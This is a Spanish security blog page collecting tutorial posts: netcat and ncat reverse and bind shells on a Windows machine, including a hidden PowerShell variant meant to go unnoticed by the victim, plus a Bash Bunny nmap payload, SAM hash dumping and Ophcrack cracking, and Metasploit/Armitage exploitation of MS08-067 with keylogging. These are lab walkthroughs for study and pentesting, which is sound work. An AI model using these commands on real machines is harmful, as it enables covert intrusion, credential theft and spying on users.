Mostrando entradas con la etiqueta hack. Mostrar todas las entradas
Mostrando entradas con la etiqueta hack. Mostrar todas las entradas

martes, 25 de septiembre de 2018

Usando netcat para obtener una shell

Hay ocasiones en las que, por el antivirus o por la limitación que sea, nos vemos obligados a usar netcat para obtener una shell en el equipo de la víctima. Hoy explicaré cuales son los tipos de shell y como podemos hacer para obtener una en cualquier equipo en cuestión de segundos si tenemos acceso físico al dispositivo desbloqueado.

Explicación de los tipos de Shell

Reverse Shell

Este tipo de Shell quizás es el más adecuado en entornos corporativos o que haya algún firewall en la red. Consiste en que el atacante se ponga a escuchar en algún puerto en su máquina y la víctima se conecta a él.

Bind Shell

Este tipo de Shell se suele usar más cuando se compromete un equipo en la misma red. Es lo contrario a la anterior. En esta la víctima se pone a escuchar en un puerto y es el atacante quien se conecta.

Ejemplo práctico

Entorno

Para realizar estas pruebas usaré dos máquinas virtuales. Un Windows 7 y la otra Kali Linux 2018.1 aunque la versión no debería afectar para nada.

En Kali ya está instalado por defecto netcat pero en Windows no, por lo que tenemos que descargarlo. Lo podemos hacer desde aquí https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip.

Reverse Shell

Para esto, usaremos la máquina Kali como atacante. Lo primero que vamos a hacer es usar netcat para escuchar en un puerto. Esto se hace con el siguiente comando:


nc -lvp 1337

Sustituyendo 1337 por el puerto que queramos. Lo podemos poner por ejemplo en el 80 para no levantar sospechas o evitar cualquier problema con el firewall.

Ahora lo siguiente será escribir el siguiente comando en el cmd de Windows.


RUTA_EJECUTABLE_NETCAT -nv IP_ATACANTE PUERTO -e cmd.exe


Y una vez le demos, en nuestra máquina Kali tendremos una Shell en la máquina Windows.



Bind Shell

Ahora sería al contrario que el caso anterior, vamos a poner a la máquina Windows a escuchar y nos conectaremos desde Kali.

Para ello tenemos que escribir el siguiente comando en el cmd:


RUTA_EJECUTABLE_NETCAT -lvp PUERTO -e cmd.exe


Ahora lo que tendríamos que hacer es conectarnos desde la otra máquina con el siguiente comando:
nc -nv IP_VICTIMA PUERTO


Y ahora ya tendríamos de nuevo una Shell en el equipo Windows.


Escondiendo la Shell

Ahora ya sabemos cómo tener una Shell en cualquier equipo, pero hay un gran problema, la consola se ve demasiado. Esto hay una forma de solucionarlo muy sencilla. Lo que tenemos que hacer es cambiar la forma en la que ejecutamos netcat. Para ejecutarlo de forma oculta tenemos que darle a la combinación de teclas Windows + R y escribimos el comando de la siguiente forma:


powershell -W Hidden RUTA_NETCAT -nv IP_ATACANTE PUERTO -e powershell.exe
Ahora en vez de ejecutarlo en el cmd vamos a ejecutarlo en un powershell, aunque si queremos podemos ejecutar la otra consola si queremos. El comando lo que haría sería ejecutar el powershell oculto. La clave está en el parámetro -W (-WindowStyle) que lo que hacemos es decirle que el estilo de la ventana sea oculto.

Por ejemplo, para una reverse Shell, una vez puesto la máquina del atacante a escuchar, lo que haríamos sería escribir el siguiente comando:


powershell -W Hidden "C:\Users\usuario\Desktop\nc.exe" -nv 192.168.217.129 1337 -e powershell.exe

Una vez ejecutemos el comando ya tendríamos una Shell en el equipo de la victima y ésta no se daría ni cuenta. Lo único que se vería, aparte de la conexión, es el proceso de netcat, pero esto un usuario normal no suele mirarlo.


Y entonces, ahora ya tendríamos una Shell en el equipo de la víctima.

Haciendo la conexión segura

Ahora, una vez visto los tipos de Shell y como ocultarla, al menos, a simple vista, vamos a llevarlo un paso más allá y vamos a cifrar la comunicación entre la víctima y el atacante.

Para ello vamos a usar ncat, que es la versión de netcat mejorada por el proyecto Nmap. Para descargarlo, podemos hacerlo en la web oficial de nmap ( https://nmap.org/ncat/ ).

Ahora para ver este ejemplo, primero vamos a poner wireshark a esnifar paquetes para comprobar como la comunicación está cifrada realmente.


Para este ejemplo, vamos a hacer una bind Shell, por lo que nos vamos a nuestra máquina Windows y la ponemos a escuchar con el siguiente comando:


RUTA_NCAT --allow IP_ATACANTE  -lvp PUERTO --exec cmd.exe --ssl

Y ahora desde la máquina Kali tenemos que poner el siguiente comando:


ncat -v IP_VICTIMA PUERTO --ssl

Y como vemos ahora en la captura de Wireshark, la conexión entre la víctima y el atacante, está cifrada.


Y esto es todo, espero que os haya gustado el artículo. Si tenéis cualquier duda podéis dejadlo en los comentarios o decírmelo por twiter (@RaSr98).

¡Un saludo!

sábado, 30 de junio de 2018

Jugando con el conejo - Parte 2

¡Hola! En este segundo artículo sobre el Bash Bunny explicaré paso a paso cómo crear nuestro primer payload.


Lo primero que tenemos que saber es que estos payloads normalmente están escritos en un lenguaje sospechosamente parecido a BASH, llamado Bunny Script, por lo que es muy recomendable saber algo de este lenguaje antes de ponernos a crearlo.

Bunny Script

El Bunny Script tiene una serie comandos para hacer todo el payload.
  • ATTACKMODE sirve para especificar la combinación de dispositivos a emular, como podría ser una tarjeta de red, un teclado o un dispositivo de almacenamiento.
  • QUACK, introduce una pulsación de tecla, una cadena o le podemos indicar un archivo .txt con un Ducky Script.
  • LED, controla el color y el estado del led. Aparte de indicarle un color, podemos indicarle unos patrones ya preestablecidos, como puede ser FINISH, FAIL o SETUP.
  • Q, es un alias de QUACK.
  • DUCKY_LANG sirve indicar el idioma del teclado que se usa para el QUACK.

Modos de ataque

Los distintos modos de ataque son:
  • SERIAL
  • ECM_ETHERNET
  • RNDIS_ETHERNET
  • AUTO_ETHERNET*
  • STORAGE
  • HID
  • OFF
Hay que hacer un inciso e indicar que ECM_ETHERNET sólo sirve para Linux, Mac y Android, mientras que RNDIS_ETHERNET sirve para Windows y para algún Linux. Los modos de ataque podemos combinarlos como queramos, excepto aquellos que impliquen los dos adaptadores de red a la vez. En el último firmware (el 1.5) se ha añadido el modo de ataque llamado AUTO_ETHERNET el cuál sirve para usar automáticamente un modo de tarjeta de red u otro.

Creando el script

Una vez visto un poco de aburrida teoría vamos a crear un payload simple. Lo que vamos a hacer es, primero, poner el modo de ataque para emular una tarjeta de red para que, a continuación, realice un escaneo con nmap y nos guarde el resultado en un .txt. Lo primero vamos a indicarle que el LED se ponga con los colores de SETUP y se ponga en modo de ataque de tarjeta de red.

LED SETUP

ATTACKMODE AUTO_ETHERNET
A continuación vamos a obtener para usarlo a continuación la IP de que se le ha asignado a la máquina y el nombre de la misma.

GET TARGET_IP
GET TARGET_HOSTNAME

La carpeta /root/udisk es la misma que vemos cuando conectamos el conejo en modo armado.
Ahora antes de continuar vamos a comprobar por si no se ha asignado la IP al equipo para abortar el script si fuera necesario. Antes de salirnos le indicamos que ponga el led en FAIL.

if [ -z "${TARGET_IP}" ]; then
   LED FAIL
   exit 1
fi
Ahora viene la parte más interesante, que es donde hacemos el escaneo. Para ello simplemente ponemos el led en modo ATTACK y lanzamos nmap. Para guardar el escaneo, redirigimos la salida del comando a un archivo en la carpeta /root/udisk/loot.

LED ATTACK
nmap -O $TARGET_IP >> /root/udisk/loot/${TARGET_HOSTNAME}.log

nmap $NMAP_OPTIONS $TARGET_IP >> /root/udisk/loot/${TARGET_HOSTNAME}.log
Una vez hecho esto, simplemente le hacemos un sync para sincronizar los datos y evitar perderlos. Antes de hacerlo ponemos el led en modo CLEANUP y al finalizar, FINISH.

LED CLEANUP
sync

LED FINISH


Hay que aclarar, que el modo del led no influye para nada en el funcionamiento del aparato, simplemente es para que nosotros veamos rápidamente cómo va el ataque.

Y para los que seáis de copiar y pegar el script directamente, aquí lo tenéis:

LED SETUP
ATTACKMODE AUTO_ETHERNET

GET TARGET_IP
GET TARGET_HOSTNAME


if [ -z "${TARGET_IP}" ]; then
   LED FAIL
exit 1
fi

LED ATTACK
nmap $NMAP_OPTIONS $TARGET_IP >> /root/udisk/loot/${TARGET_HOSTNAME}.log

LED CLEANUP
sync

LED FINISH

Probando el payload

Todo esto es muy bonito, pero ahora vamos a verlo realmente en acción.

Para ello, lo primero que hay que hacer es introducir el payload en una de las carpetas (switch1 o switch2) habiendo conectado previamente el conejo en modo armado.

Una vez puesto el payload, extraemos el equipo con seguridad y procedemos a ponerlo en el modo de ataque que corresponda.
Y, ¡ya sólo faltaría enchufarlo en algún tu ordenador!.
Para que se vea lo que tardaría este ataque en completarse podemos ver el siguiente video:


Si te has quedado con ganas de indagar más, puedes ver la wiki oficial ( https://wiki.bashbunny.com/#!payload_development.md ).
Un saludo, Rafa Sojo (@RaSr98).




domingo, 17 de junio de 2018

Jugando con el conejo - Parte 1

¡Hola!

Hoy os traigo un artículo, que en mi opinión, es la mejor herramienta de Hak5: "Bash Bunny (El Conejo)".

En este primer artículo explicaré qué es el conejo y como empezar a usarlo. Y en los artículos siguientes, mostraré un uso más avanzado del mismo.

¿Qué es el Bash Bunny?

Se trata de un mini-ordenador, que depende del ataque que hagamos, su funcionamiento podrá ser el de: un teclado, una tarjeta de red o un dispositivo de almacenamiento.

Cuando lo compramos en la tienda oficial de Hak5 ( http://www.hakshop.com/bashbunny ) lo que nos llegará es un paquete rojo como este (aunque en la foto se vea un poco rosa 😕).


Cuando lo abramos tenemos el aparato en sí y una tarjeta con las instrucciones de cómo comenzar.


Funcionamiento y configuración

Lo primero que tenemos que saber es que tiene 3 modos de funcionamiento, que cambiamos moviendo un botón. Los tres modos son de izquierda a derecha:
  • Modo de ataque 1
  • Modo de ataque 2
  • Modo de armado



En los dos primeros podemos tener distintos payloads (que ahora explicaré como funciona) para hacer dos ataques distintos. y el último modo sirve para: cargar los payloads, actualizar el firmware, si existe una actualización, o para cambiar la configuración.

Además, tiene un led RGB en el que podemos configurar el color que se enciende en los payloads, para que según lo que pase muestre un color u otro.

Cuando conectemos el Bash Bunny en modo armado en nuestro ordenador, podremos ver la estructura de carpetas que tiene.


Lo más interesante, está en la carpeta payloads, en la que están los scripts (payloads) que se ejecutarán según el modo en el que pongamos el dispositivo.

En ésta carpeta lo que podemos encontrar es algo así:


  • En la carpeta extensions solemos tener scripts necesarios para el funcionamiento de algún payload.
  • En la carpeta library solemos tener una librería de payloads que podemos encontrarlos en el github oficial ( https://github.com/hak5/bashbunny-payloads ).
  • En las carpetas switch1 y switch2 pondremos los payloads para los distintos modos de ataque.

El conejo en acción


Para este primer artículo y a modo de prueba lo que he hecho ha sido coger un script de prueba, el cual pone al conejo en modo teclado y escribe en un bloc de notas el texto que le he indicado.


Y el funcionamiento sería tan simple como esto:



Espero que os haya gustado esta pequeña introducción.
Si queremos saber un poco más siempre podemos ver la wiki oficial que está bastante completa ( https://wiki.bashbunny.com/#!index.md ).

Un saludo, Rafa Sojo (@RaSr98).

martes, 8 de mayo de 2018

Docker en el mundo de la ciberseguridad.

¿Qué es Docker?

Image result for docker
Docker es un proyecto de código abierto que automatiza el despliegue de aplicaciones dentro de contenedores de software, proporcionando una capa adicional de abstracción y automatización de Virtualización a nivel de sistema operativo en Linux. Docker utiliza características de aislamiento de recursos del kernel Linux, tales como cgroups y espacios de nombres (namespaces) para permitir que "contenedores" independientes se ejecuten dentro de una sola instancia de Linux, evitando la sobrecarga de iniciar y mantener máquinas virtuales.

Resumiendo Docker, es parecido a usar maquina virtuales pero eliminando la capa de emulación de la virtualizaciones convencionales.

martes, 7 de marzo de 2017

Cracking Windows Passwords

Ya ha pasado casi un año desde la 2ª edición de la Security High School y pronto tendremos la tercera. En el artículo de hoy veremos un tema que tratamos mis compañeros Alfonso Luque, Rafael Santiago y yo en la charla Cracking Windows Password. Os animo a acudir a este tipo de eventos para compartir información donde además de aprender se conoce mucha gente. 



Dicho esto comencemos con el articulo.

¿Cómo se almacenan las claves?
Normalmente cuando se trata de almacenar una contraseñas se almacena en una base de datos cómo MySQL o SQLite, y digo normalmente porque no es raro encontrar programas que almacenen contraseñas en texto plano y lo más importante, sin guardar el hash de la clave en lugar de la misma clave.

¿Qué es un hash?
Un hash es el resultado de aplicarle una operación matemática irreversible a unos datos de entrada (en este caso una contraseña) dando como resultado una cadena de longitud fija.
Por ejemplo:
El resultado de realizar una función hash a la cadena “1234” sería “81dc9bdb52d04dc20036dbd8313ed055” y el resultado de realizar la misma función a la cadena “pepito” sería “c482af336ae81e4634dc84f94e67eed8”.

Como podemos observar las cadenas entrantes son de diferente longitud y como resultado se consiguen cadenas totalmente diferentes salvo por su longitud que es la misma.

Tipos de hash
Existen muchos tipos de hash y cada uno realiza de forma diferente la función matemática que genera la cadena de salida, para una misma cadena de entrada.
Por ejemplo:
El hash  MD5 de “Admin”  sería “21232f297a57a5a743894a0e4a801fc3” mientras que el hash SHA-256 de “Admin” sería “8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918”

Hay tipos de hash más antiguos como el MD5 que ya han sido vulnerados y por lo cual no son seguros, y otros más nuevos como SHA-3 que por el momento son más seguros. Pero en este artículo nos centraremos en dos tipos de hash en concreto, LM y NTLM, que son los que utiliza Microsoft para almacenar las contraseñas de los usuarios de Windows.

LM (LAN Manager)
Es el primer hash que utilizaron los sistemas Windows, sus características y método para realizar el hash son ya muy conocidas, esto sumado a que los métodos que utiliza no son muy buenos lo convierten en carne de cañón vulnerable. Ha sido utilizado por Windows desde el Windows 3.1 hasta el famoso XP, pero a partir de Windows Vista, las contraseñas dejaron de almacenarse con LM como medida de seguridad y fue sustituida por su sucesor NTLM, aunque, esta medida se puede revertir mediante configuración y volverse a activar ya que Windows no la quitó por completo por motivos de retro compatibilidad.
Estas son sus características y los patrones que seguiría si le hiciésemos la función hash a la cadena “Admin1234":
  • - Rellena de “0” hasta llegar a 14 caracteres (admin123400000)
  • - Convierte todas las letras a mayúscula (ADMIN123400000)
  • - Parte la contraseña en dos (ADMIN12 3400000)
  • Utiliza el cifrado DES en las dos partes.

Dado que el propio algoritmo parte en 2 la contraseña antes de realizar la función hash, resulta más fácil aún romper la contraseña ya que es más fácil descifrar 2 cadenas de 7 dígitos en paralelo que 1 de 14 dígitos.

¿Por qué la contraseña debe de ser de más de 7 caracteres?

Por defecto el algoritmo rellena con "0" hasta llegar a 14 caracteres, entonces al aplicar esta operación en una cadena de 7 caracteres, los otros 7 restantes sería "0000000", teniendo en cuenta que el algoritmo también parte en 2 la contraseña, es fácil identificar contraseñas de menos de 8 caracteres ya que siempre terminan igual (con el resultado de hacerle el hash a 0000000).

NTLMv1 y NTLMv2 (NT LAN Manager)


Versión mejorada de LM que incluye algunas mejoras de seguridad con respecto a su antecesor. El proceso de ataque a este tipo de hash conlleva un aumento exponencial de tiempo sobre todo si se utilizan más de 8 caracteres, mezclando mayúsculas, minúsculas, números y caracteres especiales.
  • Diferencia entre mayúscula y minúscula
  • - Más simple que LM
  • Más robusto a su vez
  • Utiliza cifrado MD4

¿Dónde guarda Windows los hash de las contraseñas?
Por defecto Windows guarda los hash de las contraseñas en la ruta %systemdrive%\Windows\System32\config , en un archivo llamado SAM cuyo contenido está cifrado. Pero como Windows no sabe hacer nada a derechas, almacena la “clave” que descifra el contenido del fichero SAM en otro fichero sin cifrar llamado SYSTEM que está en la misma carpeta... 


En las versiones Windows Server con Active directory los hashes se almacenan en la ruta %systemdrive%\Windows\NTDS en un archivo llamado ntds.dit, pero no entraremos en detalles ya que nos centraremos en las versiones antes mencionadas de Windows.

Proceso para obtener los hashes de los usuarios
Ahora pasaré explicar cómo obtener los hash de los usuarios del equipo a auditar. Para ello utilizaremos Kali Linux para exportar los hash a un fichero de texto plano. Por si os preguntáis qué es Kali Linux, es una distribución Linux diseñada para hacer auditorias de análisis forense que incluye multitud de herramientas para ello.

En primer lugar tendremos  que bootear con una versión live de Linux como por ejemplo Kali.


Utilizaremos  el modo forense, que lo que hace es impedir al sistema montar automáticamente cualquier dispositivo de almacenamiento, más adelante veremos el porqué.


Una vez inicie el sistema procederemos a identificar el disco en el que está Windows.


Utilizaremos para ello el comando fdisk, y del resultado de este nos interesa saber cual es el dispositivo donde está Windows, en este caso /dev/sda1 y su formato para posteriormente montarlo.


Ahora que tenemos identificada la partición de Windows la montamos, previamente tendremos que crear una carpeta donde lo montaremos, después utilizamos el comando mount con la opción –t para especificar el formato de la partición y –r para montarlo en modo “solo lectura”, ya que estamos realizando un análisis forense y no podemos modificar nada del disco (de ahí el utilizar el forensic mode al principio).


Como he explicado anteriormente, el fichero SAM es donde se almacenan los hash, y para obtenerlos necesitaremos además de ese fichero, también necesitaremos el archivo SYSTEM para poder descifrar el contenido del SAM.


Para ello nos iremos primero a la ruta Windows/system32/config y nos los copiamos a nuestra carpeta personal. Una vez copiemos ambos ficheros, usaremos la herramienta samdump2 con la sintaxis samdump 2 –o ruta_salida SYSTEM SAM


Como resultado de utilizar samdump2 obtendremos un fichero con este formato,que como podemos observar hay dos hash por cada cuenta.
El de la izquierda es LM y el de la derecha NTLM


Si nos bien fijamos nos daremos cuenta de que el hash de la izquierda se repite en diversas ocasiones, y no, no es porque sean la mísma contraseña. En esta prueba hemos utilizado un windows 7, recordemos que a partir de windows vista el hash LM estaba desactivado como medida de seguridad. Entonces os preguntareis ¿que leches es ese hash? aa3b435b51404eeaa3b435b51404ee es el resultado de aplicarle la función hash a un valor NULO, y como una de las características de LM es partir la contraseña en dos partes el resultado es una cadena con los caracteres “aa3b435b51404ee” repetidos 2 veces (null-null).

 ¿Como crackear los hash?
Existen diferentes modos para obtener la contraseña de los hash, podemos optar por el método online que es el más fácil, y el método offline que es un poco más complejo, ya que tenemos que interactuar con diferentes herramientas.

Método online
Es simple, utilizando BBDD online de las cuales hay miles y con solo escribir el hash nos dirá la contraseña si la tienen en su base de datos.
Ejemplos de páginas que podemos utilizar:




www.somd5.com/  (si sabemos un poquito de japones XD)


Método offline 1: Fuerza bruta
Es el método más simple y a la vez más complicado para obtener resultados ya que consiste en probar TODAS las combinaciones posibles dentro de un charset determinado que nosotros le indiquemos al programa.

Teniendo en cuenta que una contraseña puede tener mayúsculas, minúsculas , números y caracteres especiales abcdfghijklmnñopqrstuvwxyz - ABCDFGHIJKLMNÑOPQRSTUVWXYZ - 1234567890 - (simbolos)  el numero de posibles combinaciones asciende a miles o incluso millones todo dependiendo de la longitud de la contraseña, esto traducido en tiempo... demasiado si somos impacientes.

Así te puedes quedar esperando a que saque la pass...
Método offline 2: Ataque por diccionarios
Este método es parecido al anterior con la diferencia de que en vez de probar TODAS las posibles combinaciones, probará todas las combinaciones que le pasemos a través de un diccionario de palabras clave, el cual podemos crear nosotros mismos o bajarlo desde internet donde hay infinidad de diccionarios, incluso hay webs que ofrecen diccionarios basados en temas concretos, como por ejemplo videojuegos, películas, grupos de música, etc...

Método offline 3: Ataque por tablas RAINBOW


Este será el método que utilicemos en este articulo las tablas rainbow, que resumiendo un poco cómo funcionan lo que hacen, son tablas que almacenan 2 cadenas de caracteres, una palabra inicial y otra final, la palabra inicial es una completamente aleatoria, y la palabra final es el resultado de hacerle la función hash a la palabra inicial y después al resultado de esta operación realizarle una función de reducción, que a su vez se le vuelve a realizar la función hash y después otra función de reducción, así consecutivamente hasta un determinado numero de veces. Al pasarle nosotros el hash, comprobará si la palabra final que da este hash coincide con alguno de los que tiene la tabla.


Para realizar esto utilizaremos un programa llamado OPHCrack, el cual es bastante fácil de utilizar, además tiene una versión live para bootearlo en una memoria USB y realizar todo el proceso anterior de obtención del hash y de forma completamente automática empezar a crackear los hashes que tenga el equipo (todo bien mascadito). Nosotros utilizaremos el programa para windows y lo haremos de forma manual.

Proceso de crackeo con OPHCRACK
El proceso es simple ya que se divide en tres sencillos pasos:




1º: Cargamos los ficheros que hemos obtenido previamente en formato txt con samdump2

Le damos a PWDUMP y seleccionamos nuestro "hashes.txt"




2º: Cargamos las tablas RAINBOW
Simplemente tendremos que seleccionar la tabla que queremos cargar y indicarle la ruta de donde está. El programa viene por defecto con 4 tablas de diferentes tamaños y para diversos sistemas como son Windows XP y Vista.


También podemos utilizar tablas descargadas de internet, que las hay de todo tipo y tamaños,  desde los 2 GB hasta los 500GB o más...

3º: Pulsar crack y esperar...
El resultado después de 1 hora de espera es este. 


Una lista con todos las contraseñas encontradas salvo una… la del usuario SHS2016, y es porque a la hora de crear la contraseña tuvimos en cuenta las recomendaciones típicas.

El objetivo de este articulo era haceros ver lo fácil que resulta vulnerar las contraseñas en el sistema operativo Windows, así que utilizad contraseñas con las recomendaciones de seguridad que ya conocemos.

Ahora os dejaré una POC en video para que veáis todo el proceso paso a paso.


Esto ha sido todo, espero que hayan aprendido tanto como yo aprendí en su día con Eduardo Sánchez "mi profe de seguridad" y que les haya servido de ayuda.

Un saludo :)


lunes, 28 de marzo de 2016

Cómo usar Metasploit en Armitage desde 0 a modo colaborativo

Hoy vamos a explicar el potencial de Armitage, una interfaz gráfica sobre el conocido framework  de explotación Metasploit, la cual nos va a ayudar en nuestras auditorías, llegando al punto de poder colaborar al mismo tiempo con varios compañeros en nuestro Pentesting. Antes de nada comentar que vamos a usar una máquina atacante con una distribución Kali Linux 2.0 y otra máquina vulnerable Windows como víctima.

Configuración Inicial
Antes de nada vamos a configurar la máquina del atacante. Dado que Armitage trabaja sobre Metasploit y este a su vez trabaja con una base de datos Postgresql, lo primero que debemos hacer es levantar el servicio de la base de datos.



Ahora arrancamos Armitage, donde lo primero que nos pedirá es conectarse al servidor de Metasploit RPC, en caso de que no esté levantado nos preguntará si lo queremos levantar. Acto seguido pedirá los datos de conexión, donde introducimos los datos por defecto que podemos ver en la siguiente imagen.
Configuración por defecto
Primeros pasos
Una vez tenemos Armitage funcionando lo primero que se haría ahora sería escanear la red. Armitage incorpora una función para poder escanearla con Nmap. Para ello nos vamos a la pestaña Hosts Nmap Scan y aquí elegiríamos el tipo de escaneo, en nuestro caso Intense Scan.


 Introducimos la dirección IP de la red y el CIDR (el nº de unos de la máscara).


Una vez finalice el escaneo podemos apreciar como salen los hosts de nuestra red.


Encontrado vulnerabilidades
Una vez tenemos el esquema de la red y los equipos que podemos encontrar, nos iremos uno por uno a escanear los posibles fallos de seguridad. Para ello le damos clic derecho sobre nuestro objetivo y seleccionamos Scan.


Una vez hecho esto, tendríamos que irnos a la pestaña Attacks Find attacks.


Con esa funcionalidad conseguimos que se busquen los diferentes exploits que pueden afectar a los diferentes vectores de ataques encontrados en el escaneo. Vemos en la siguiente imagen como se van consultando al servicio de Metasploit.

Una vez terminado nos vamos a la máquina víctima y hacemos clic derecho para ver la opción Attack, donde encontramos las posibles exploits que pueden afectarle a nuestro objetivo.


En nuestro caso es una máquina XP con una vulnerabilidad muy conocida en el puerto 445 (MS08-067) que aunque parezca sorprendente sigue existiendo en muchas máquinas a día de hoy. Aquí os dejo referencias sobre la misma:

Atacando a la víctima
Ahora que ya tenemos varias ataques posibles podemos elegir el que queramos. Nosotros seleccionaremos el exploit a lanzar en Attack → smb ms08_067_netapi. Una vez hecho esto debemos configurar las opciones del exploit como haríamos en la consola de Metasploit. 


¿Cómo sabemos que nuestro ataque ha funcionado? Podemos ver en la consola si las diferentes fases del exploit se han ejecutando correctamente y si hemos conseguido alguna sesión de meterpreter, shell... Aquellos equipos que sean comprometidos saldrán marcados como en la imagen.


Explotando el objetivo
Ahora ya tendríamos el control del equipo víctima y pasaríamos a la fase de explotación. Un consejo es crear varias sesiones de meterpreter sobre cada víctima previamente a la explotación por si alguna falla. En cuanto a la explotación en si sólo tendríamos que irnos a la sesión que queremos y elegir qué hacer. En la siguiente imagen vemos como podemos ejecutar un keylogger para ver que escribe la víctima Meterpreter1 → Explore  Log keystrokes.


Tenemos gran cantidad de posibilidades como explorar los archivos, tomar capturas de pantalla de lo que está viendo la víctima en cada momento o incluso obtener las contraseñas que hay almacenas en la RAM.

Modo colaborativo
Una funcionalidad muy interesante de Armitage es el modo colaborativo o lo que se conoce como multiplayer. Básicamente nos permite que varios usuarios compartan la información del pentest a través de la interfaz Armitage, para ello todos se conectan a la misma bbdd compartida en tiempo real, donde se almacenan los diferentes vulnerabilidades encontradas. Esto es muy útil en auditorías internas grandes ya que hace que sea mucho más fácil la coordinación entre el grupo de pentesters.

Además de ver que es lo que hace cada uno, podemos comunicarnos con los diferentes usuarios, así como ver los escaneos y máquinas vulneradas. 


¿Cómo usamos el modo multiplayer?
Básicamente en el modo multiplayer tenemos un Armitage en modo servidor y el resto en modo cliente (arquitectura Cliente-Servidor típica). Lo primero que tendremos que hacer para levantar el servidor es irnos a la carpeta de Armitage, que en Kali Linux está en /usr/share/armitage/ :


Y ahora tenemos que iniciar el archivo teamserver pasándole los parámetros de nuestra IP y la contraseña que queremos ponerle. En nuestro caso la IP es 192.168.0.107 y la contraseña wwh. En la siguiente imagen vemos el resultado de la ejecución así como los parámetros que necesitarán el resto de compañeros para conectarse al servidor.


Ahora ejecutamos Armitage desde los diferentes clientes, tanto desde nuestra máquina como desde las del resto de compañero de equipo. Se puede apreciar en la imagen anterior la IP de la máquina donde está el servicio, el puerto, usuario, contraseña y el Fingerprint del servidor. Una vez ejecutado nos pedirá los parámetros de configuración del servidor de los que hablábamos.


Si las credenciales son válidas nos saldrá lo siguiente:


El Fingerprint del servidor del equipo debe ser el mismo, sino estaríamos conectando a uno diferente. Nos pedirá acto seguido nuestro nick para poder hablar con el resto de compañeros:


En la siguiente imagen vemos en el Log de Eventos de Armitage los diferentes usuarios conectados y lo que están haciendo en cada momento. En la imagen vemos como un usuario ha lanzado un escaneo y todos los usuarios verán los resultados. Los avances que lleven a cabo todo el equipo serán compartidos por todos.


Bueno pues esto ha sido todo, espero que os haya gustado la herramienta. Para el que no me conozca me llamo Rafa Sojo, soy estudiante de "Sistemas Microinformáticos y Redes" y me encanta la seguridad. Os dejo mi twitter por si queréis contactar conmigo.

Un saludo.